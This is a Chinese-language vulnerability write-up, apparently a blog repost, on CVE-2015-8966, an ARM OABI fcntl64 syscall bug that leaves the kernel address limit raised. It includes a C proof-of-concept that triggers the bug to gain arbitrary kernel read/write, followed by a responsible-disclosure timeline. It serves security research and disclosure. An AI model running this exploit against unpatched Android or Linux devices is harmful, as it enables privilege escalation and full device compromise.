CVE-2015-8966/AndroidID-31435731

标 题: 【原创】CVE-2015-8966/AndroidID-31435731
作 者: ThomasKing
时 间: 2016-12-13,23:23:02
链 接: http://bbs.pediy.com/showthread.php?t=214585

## 0x0 前言
这个漏洞大概是在去年11月中旬无意在内核源码中发现的,原理十分简单(看起来非常像一个后门...)

## 0x1 分析
漏洞存在于arm平台legacy syscall fcntl64:

asmlinkage long sys_oabi_fcntl64(unsigned int fd, unsigned int cmd,
         unsigned long arg){
  
  struct oabi_flock64 user;
  struct flock64 kernel;
  mm_segment_t fs = USER_DS; /* initialized to kill a warning */
  unsigned long local_arg = arg;
  int ret;

  switch (cmd) {
  case F_OFD_GETLK:
  case F_OFD_SETLK:
  case F_OFD_SETLKW:
  case F_GETLK64:
  case F_SETLK64:
  case F_SETLKW64:
    if (copy_from_user(&user, (struct oabi_flock64 __user *)arg,
           sizeof(user)))
      return -EFAULT;
    kernel.l_type  = user.l_type;
    kernel.l_whence  = user.l_whence;
    kernel.l_start  = user.l_start;
    kernel.l_len  = user.l_len;
    kernel.l_pid  = user.l_pid;
    local_arg = (unsigned long)&kernel;
    fs = get_fs();
    set_fs(KERNEL_DS);          //[1]
  }

  ret = sys_fcntl64(fd, cmd, local_arg);

  switch (cmd) {
  case F_GETLK64:
    if (!ret) {
      ...
    }
  case F_SETLK64:
  case F_SETLKW64:
    set_fs(fs);     //[2]
  }
  return ret;
  
这个syscall的设计是:

1. 准备参数,设置当前进程为addr_limit: KERNEL_DS
2. 调用真正实现的函数sys_fcntl64
3. 返回结果,恢复当前进程的addr_limit: USER_DS

在[1]部分,将当前进程addr_limit设置为KERNEL_DS,该标示能够让进程获得内核的任意读写权限。
在[2]部分恢复时,只有某些command类型才恢复addr_limit。

## 0x2 利用
之所以说看起来像后门,是因为一行ioctl代码就能获取任意内核读写权限。
获取任意内核读写权限poc:

  __attribute__((naked)) long sys_oabi_fcntl64(unsigned int fd, unsigned int cmd, unsigned long arg){
    __asm __volatile (
    "swi  0x9000DD\n"
    "mov  pc, lr\n"
    :   
    :
    :
  );
  }

  #define F_OFD_GETLK  36
  #define F_OFD_SETLK  37
  #define F_OFD_SETLKW 38

  int main(int argc, char const *argv[]){
    int fd = open("/proc/cpuinfo", O_RDONLY);
    struct flock *map_base = 0;

    if(fd == -1){
      perror("open");
      return -1;
    }
    map_base = (struct flock *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if(map_base == (void*)-1){
      perror("mmap");
      goto _done;
    }
    printf("map_base %p\n", map_base);
    memset(map_base, 0, 0x1000);
    map_base->l_start = SEEK_SET;
    if(sys_oabi_fcntl64(fd, F_OFD_GETLK, (long)map_base)){
      perror("sys_oabi_fcntl64");
    }
    // Arbitrary kernel read/write test
    if(try_to_read_kernel()){
      printf("pwnned !\n");
    }
    munmap(map_base, 0x1000);
  _done:
    close(fd);
    return 0;
  }
  
## 0x3 结尾
这个漏洞影响内核版本:3.15-4.3,安卓平台影响3.18。
现阶段支持oabi的设备越来越少,虽然这个漏洞看起来很不错,但实际能用的地方并不多,这也是我提交的原因之一。
Btw,这个CVE-2015-8966我并不知道怎么来的,google给的issue是:AndroidID-31435731。

## 0x4 Timeline
2016.09.10 提交给Kernel Security
2016.09.15 Kernel确认影响内核版本,将在下一轮的稳定内核版本中修复
---------------------------------------------------------
2016.09.10 在goldfish 3.18验证后提交给google
2016.09.12 谷歌反馈,设置Critical
2016.10.04 谷歌确认不影响当前任何谷歌设备
2016.12.05 Android Security Bulletin - December 2016 
CVE-2015-8966.pdf
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值